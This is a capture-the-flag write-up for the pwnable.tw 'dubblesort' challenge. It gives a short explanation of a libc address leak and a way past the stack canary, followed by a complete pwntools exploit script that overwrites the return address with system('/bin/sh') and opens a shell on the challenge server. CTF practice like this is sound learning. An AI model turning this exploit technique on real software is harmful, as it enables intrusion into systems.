003

4/14/21

pwnable.tw - dubblesort - 4/14/21

fun challenge, i dont feel like explaining too much so i will just give a brief overview we have a leak from a non-null terminated string that will allow us to leak the .got.plt section of the binary, this means we will have bypassed ASLR and leaked the base address of libc. Next all we have to do is gain arbitrary write. we will have 24 DWORDs of space on the stack for our input until we reach the stack canary, since our input starts at [esp+0xc].

We have a few problems we need to get past before we can begin to think about overwriting the return address though, Canary being the main thing we need to worry about. PIE will not affect us, since we are not using ROP or any other ret2csu/plt/__dl_runtime_resolve so we dont need to worry about it. Our sorting program will allow us to enter as many unsigned integers as we want. This is pretty trivial if we play around with it for a while, it will scanf our input with %u, which is an unsigned int. This means that if we enter any ascii char, it will be ignored and wont be written to that address, but we will be able to continue writing.

then we simply write 8 dwords, all pointing to system, and 3 dwords all pointing to /bin/sh. I just wanted to be safe since our input goes through the bubble sort

#!/usr/bin/env python3
from pwn import process,context,ELF,remote,u32,pause
from fastpwn import pack, aslr, log
from time import sleep
from sys import argv
if len(argv)>1 and argv[1]=="-r":
    p=remote("chall.pwnable.tw", 10101)
else:
    p=process('./dubblesort',env={'LD_LIBRARY_PATH':'./'})
context.log_level='DEBUG'
elf=ELF('./libc_32.so.6',checksec=False)

mov_ebx_esp=pack.pk32(0x00000750) # mov ebx, [esp] ; ret
n=lambda x: "A"*(x*4)
def s(i,un=""): # s() func is an idea i got from reading r4j's exploit pocs, great job man :)
    if un:
        p.recvuntil(str(un))
        p.sendline(str(i))
    else:
        p.sendline(str(i))
#p.interactive()            # reason for leak is due to strong not being null terminated
# printf will continue to read and write until it reaches a null terminator.
# 6 DWORDS is offset to .got.plt leak

#s(n(6),un="name :")
p.recv()
s(n(6))

#leak = int.from_bytes((p.recvuntil(",How").split(b'\n')[1].split(b',How')[0],16), "little")
#p.interactive()  -- for some reason my system does not leak the addresses after 8 bytes
# sorry if im basically dossing ur servers pwnable.tw, i just need this leak each time i test it :/
p.recvuntil("A"*24)
# name buffer will be stored at [esp+0xc]

#print(p.recv(4))
base=(u32(p.recv(4)) & 0xffffff00) - 0x001b0000
system_address=0x0003a940+base
bin_sh_address=0x00158e8b+base
#base=(int.from_bytes(p.recv(4),"little") & 0xffffff00) - 0x001b0000
if base:
    log.log("Base Address of libc: %s"%hex(base))
    # note to self, add int.from_bytes to fastpwn since struct unpacking is picky as all hell :(
    log.log("system: %s"%hex(system_address))
    log.log("bin/sh: %s"%hex(bin_sh_address))
    pause()
def exploit():
    # establish offsets
    canary=24   # offset before canary overwrite
    system=8    # 8 dwords to system
    bin_sh=3
    total=canary+system+bin_sh+1
    s(total)

    for i in range(24): # canary offset
        s(i)
    p.sendline("-")
    p.recv()
    # canary offset
    p.sendline("-")
    p.recv()
    for i in range(system): # 8 dwords to system, 48 bytes ; 8*48
        s(system_address)
        p.recv()
    for i in range(bin_sh):
        s(bin_sh_address)
        p.recv()
exploit() # fancy wooo
p.interactive()

Last updated